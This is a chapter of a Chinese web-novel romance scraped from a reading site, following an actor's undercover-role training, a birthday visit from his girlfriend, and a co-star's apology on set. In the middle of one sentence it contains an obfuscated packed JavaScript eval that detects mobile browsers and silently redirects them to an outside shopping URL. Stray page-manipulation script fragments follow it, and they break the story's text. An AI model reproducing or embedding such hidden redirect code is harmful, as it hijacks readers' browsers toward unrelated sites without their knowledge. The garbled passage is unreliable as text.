文趣网 > 其他小说 > 明里搭戏,暗里钓系 > 36. 第 36 章
    江临进组前的封闭训练,如预料一样艰辛。

    那是一种“将人拆开重塑”的适配过程。

    剧组和平台对这部戏的要求极高,卧底暗线又是整部戏最关键也最容易出问题的一段,稍有不慎就会显得悬浮、用力过猛,露了表演痕迹。于是从合同签署开始,所有人就心知肚明,这一个月江临如果无法将自己压进角色骨架,那这部戏依旧会换人、会推迟。

    训练分成了几个详尽的部分。

    起初江临每天都要和导演、编剧、动作指导以及专门请来的刑侦顾问开碰头会,桌上铺开的全是人物时间线、任务链条和卧底身份的每一层伪装逻辑。顾问讲得极细,除了心理上的适配,接踵而来的就是行为训练和大量的动作训练。

    江临密密麻麻地记着笔记,见缝插针吸收内容,在重复了无数次的训练中,有了肉眼可见的变化。

    阳明姝第一次来看他时,是训练的第二周末尾,连着好几天摔倒、扭身、拔枪、控人、逃脱。江临本身身体条件好,身形也利落,虽然总不可避免刮擦碰撞,但其实还是比前一周磨心理要轻松些。

    阳明姝在酒店房间忙忙碌碌了两个钟头才等到江临结束回来。

    他进来时脏兮兮的,身上好几处蹭得黑灰,颈侧和小臂结了几块痂,颧骨下方也在对抗戏里不小心挂了彩,擦出好长一道红痕,渗了零星血点子。

    阳明姝看着他,倒吸了口凉气。

    江临预先并不知道她过来,他以为她还在外地工作,按照这两天聊起的行程,最快也要明天中午才能回来。

    她本来是极欢欣的模样,见他脏兮兮的,新伤叠旧伤,又立马皱了眉,刚还宝贝似端着的蛋糕往桌上一放,人就贴了过来,“怎么回事?训练没防护的吗?”

    她捧着他的脸仔细端详,这么近的距离,江临也看到她眼下青黑,大抵是来得着急,没时间化妆,整个人素净得很,越素净越看得出疲惫。

    “没事,就是护具擦了下,不要紧。”

    江临喉结滚动了两下,再开口声音有些哑,“这么累还赶过来干什么?”

    “我能有多累啊,倒是你,怎么搞的……”

    阳明姝仍挂心他伤处,眉心拧得死紧。

    江临身上脏,不愿意碰她,只是俯身在她额头啄了一口,“好了,快说,说完我去洗干净再聊。”

    阳明姝一愣,赶紧又转身捧起蛋糕巴巴儿送到跟前,“生日快乐,哥哥。”

    烛火摇曳,面前人顾盼生姿。

    江临心满意足吹了蜡烛,当着面脱衣进浴室。

    阳明姝长途奔袭,两天加起来拢共睡了五个来钟头,本就熬得昏沉,再见到江临裸着上身,丝毫不在意别人死活地散发荷尔蒙,冲得她更加眩晕了。

    浴室里,江临洗得匆忙,三十岁的人了,依旧争分夺秒想要再快些。

    江临起先没留神,光在意阳明姝去了,洗过澡出来,才发现酒店房间已经大变样,他一边擦着头发一边打量。

    床单被罩,枕头被芯,全换了家用的,左边床头柜加了个加湿器,安静吐着薄薄的雾气,右边摆着一对香薰蜡烛,靠窗子的桌上,水壶、咖啡机、玻璃杯一应俱全,连摆放位置都调理过顺手秩序,这些天一直被他敞开扔在地上的行李箱收到了衣柜最底层,衣服也都一一挂了进去,一眼望去还多出几套居家舒服的……就连他很长时间没玩过的游戏机都整整齐齐绕着线放在电视柜上。

    江临目光扫过这一切,突然涌上一丝很奇妙的感觉。

    他身边常年跟着的不是方汀就是阿木,几个大老爷们东奔西跑,一直粗糙。标准向来是“能用”“方便”“别出问题”,从未有谁想到过,酒店房间也可以住得像个临时的家。

    如此看来,女孩子好像天生就比男人要聪明一层,拥有更全面的大脑和感知能力,总让人觉得甜蜜。

    他倒也并不是没被人细致照顾过,可那种照顾大多是流程化的、配合式的,带着工作性质的周到,谁都明白彼此在扮演什么角色。偏偏阳明姝不一样,因为她真的知道他喜欢什么。

    阳明姝懒洋洋趴在沙发扶手上,困倦地揉眼睛,“还有大半个月呢,我想着让你过舒服些。”

    江临扔了毛巾,两个大跨步过去,转瞬将人搂进了怀中。

    “感动到了,有点想哭。”

    那是一种比任何喧哗都更重的心意。

    阳明姝被他逗乐,笑声从怀里传来,“你开心就好啦。”

    江临的下巴抵着她头顶,声音缓慢慵懒,“真的,开心惨了。”

    “是吗?”

    即便那晚她那样疲惫,仍然狡黠灵动,手脚并用从他束缚中爬出来时,宛若一只小狐狸,“那你要知道我还给你准备了礼物,会不会更开心些?”

    阳明姝准备的是一块腕表。银白表盘,细长指针,压纹窄皮带,哑而不冷,静而不寡。商务休闲两相便宜。

    “我选了好久,为了买它,还搭进去一块别的款送给我爸了……”

    她说这话时是一副毛茸茸、暖洋洋的样子。

    江临看着表,阳明姝看着他脸上伤痕。

    江临说:“我很喜欢。”

    “这里还疼吗?”阳明姝问。

    他想起去年生日在片场,他们问他许了什么愿,彼时他靠在椅背,累得人畜不分,只暗自求了句愿以后不憋屈。

    时光如水,总容易让人忽视,如今再站到这个节点回望,他觉得自己无疑是被眷顾的,拍的是自己想要拍的角色,身边的人是那样喜欢的人。

    何止不憋屈。

    阳明姝躺着他膝上,一头青丝如雾般散着。

    “去年你发了个自拍,满脑袋汗,脸红眼睛也红,咧着嘴笑,像条大狗……”

    “这你也知道?”江临愕然,尔后又笑,“是了,想起来了,去年你也跟我在一起。”

    去岁今日,暴雨下了大半天,楼门洞前一串串湿脚印,光影像被人轻轻拨动的水,他说“恭贺乔迁”,她说“生日快乐。”

    “说起来你到底什么时候喜欢我的啊?”他追问。

    “……”

    阳明姝有些犯迷糊,眼睛机械地一眨一眨,江临忽然觉得也没有什么重要的了。

    “辛苦了,睡吧。”

    很后来,江临早已淡忘那晚的夜色有多美,只记得满世界的欢喜都在那晚趁夜破风,只记得那晚没有酒,但她眉眼如酒。

    到了第三周,训练重点转向环境适应。

    剧组给他安排了模拟环境,嘈杂、闷热、光线不稳定、信息流混乱,逼着他在不舒服里保持角色感。他要在噪音里听清关键指令,在混乱里迅速抓住重点,在高压下保持对周围人的判断力。那一周他几乎没怎么好好睡过,晚上回酒店也还要继续看分镜、背台词、修正每一场戏里表情的起伏,好在这个房间被阳明姝布置得周到温馨,她的气味似乎也都还在,这便总能让江临在纷扰烦忧中开心起来。

    到了第四周,训练真正进入角色融合阶段。

    阳明姝再来的时候,惊得瞪大眼,直呼好强烈的冷硬感。

    那天她来得匆忙,走得也快,上一秒还在絮絮叨叨为了避免被拍到绕了好长远路,进酒店也是拐的后门,没几句话功夫就贴在他耳边低声道别:“我明早进组,一会儿还有两个会要开……”

    江临又好气又好笑,“就这几分钟,犯得着跑一趟?”

    “怎么犯不着?”

    她踮着脚,一劲儿啄他嘴唇,“多值当呢。”

    说完人一溜烟就没了。

    没两天,江临的封闭训练结束,正式进组,《破晓线》开机那天,阳明姝在隔着十几个城市的另一个剧组,调配金豆儿,再委托阿木给江临送了束花,没有署名、没有卡片,就是好大一捆热烈鲜花,她在电话那头笑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627867|202303||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得得意,自以为这也算宣示主权的隐晦一种。

    江临有些懊悔自己的后知后觉,当晚回去就下单了一堆吃的、喝的、玩的一股脑往那头送,直送到阳明姝缴械投降“别玩了哥哥,很容易被发现的……”

    他摸了摸鼻子,又有些不高兴她当他贼一样防备。好在剧本拍摄难度高,内容繁复,压根没有闹脾气的时间。

    “江临。”

    “嗯?”

    拍摄期间,演员妆造已经定型,他腕上空无一物,却不知怎么养成的习惯,总会无意识转动手腕那块,“怎么了?”

    再见面,又是一年夏末,孟滢站在那里,无端生了些愁绪,“空吗?想跟你聊两句。”

    “你说。”

    这部戏,已经是他们第三次搭档。

    第一部戏合作时,两人关系就已经不一般,甚至戏里戏外都曾有过不少交集,彼此多少都知道对方是什么样的人。只是这一次再见面,孟滢第一眼就察觉到了不对。

    江临变了。

    不是外貌,而是整个人的气场。

    孟滢最开始对他产生兴趣时,他刚入行不久,极年轻,青涩笨拙地表现爱,这让她新奇,于是总爱同他说话,见他惊惶、讶异,时常摇着头无奈冲她笑……

    他那样温柔,原本不应该生在荧幕,后来再聚首,他的冷淡和漠然如盔甲般将自己包裹得严严实实,可盔甲毕竟只是盔甲,她始终坚信他底下那颗心依旧柔软,一碰就会蜷缩起来。

    到如今,第三次,肉眼可见,封闭训练给到了他极大成效,他仍然年轻,眉目依旧清俊,只是不再时时刻刻防备别人,尤其不再防备她,于是他不再需要假装冷漠,他变得安宁且自在了起来,他看她时很平静,和她对戏时也从容。

    那样好的一个人,这次好像真成了过客。

    孟滢第一次清晰地意识到这一点时,是在一次对戏结束后。

    江临刚从镜头里出来,站在原地和导演复盘刚才那场情绪戏。灯光打在他侧脸上,线条清晰得有些锋利,这个角色尖锐,带得他也冷硬如刀,导演说完他走下片场,助理给他递水杯,他不接伸着手等别的什么,尔后手机也到了他手上,他低头看,看着看着就笑了。

    那笑容明明恬淡,偏偏带着划开角色表皮的能力,于是转瞬间,刚下场还有些凶相的人,如轻舟过山,雨霁天晴,蓬勃得像个少年。

    孟滢站在不远处,看着他,忽然就有点走神。

    他看起来……比从前快乐许多。

    孟滢敏锐,又在圈里待了这么多年,对这种变化的察觉几乎是本能。

    她心里挺难过的。但也深刻认识到她那点喜欢,早已登不了台面。

    可她到底是个追求体面的明星,过往因为观望,待价而沽所错失的,要认,因为自己所造成的影响,也该好生收尾。

    于是,那天拍摄间隙,她选了一个很僻静的角落,在人声和器械声都稍远一些的地方,认真地叫住了江临。

    她说得很诚恳,也平静,“当年那件事,是我处理得不够好,于你也不够坦荡,对不住。”

    她顿了顿,又看着他,认真补了一句:“江临,我真心的,祝你前路坦途,也祝你锦绣良缘,得偿所愿。”

    “没关系,都过去了。”

    江临笑了,他仍是温柔,甚至已经愿意跟她玩笑,“你们女孩子真的好聪明啊。”

    孟滢曾经那些不浓烈的、被摁下、斟酌过、判断过的感情像压在心底的一层旧火,平时不显,只是在到了时刻时,轻轻烫一下。

    “主要还是你太明显。”孟滢也笑了。

    “哪里明显了?”

    “一天到晚抱着手机开屏傻乐,酸臭味隔老远就闻得见。”

    “……”

    想说的已经说完,两人不约而同侧身,向人声嘈杂处去,只是孟滢和江临都没想到,这一幕会被狗仔拍到。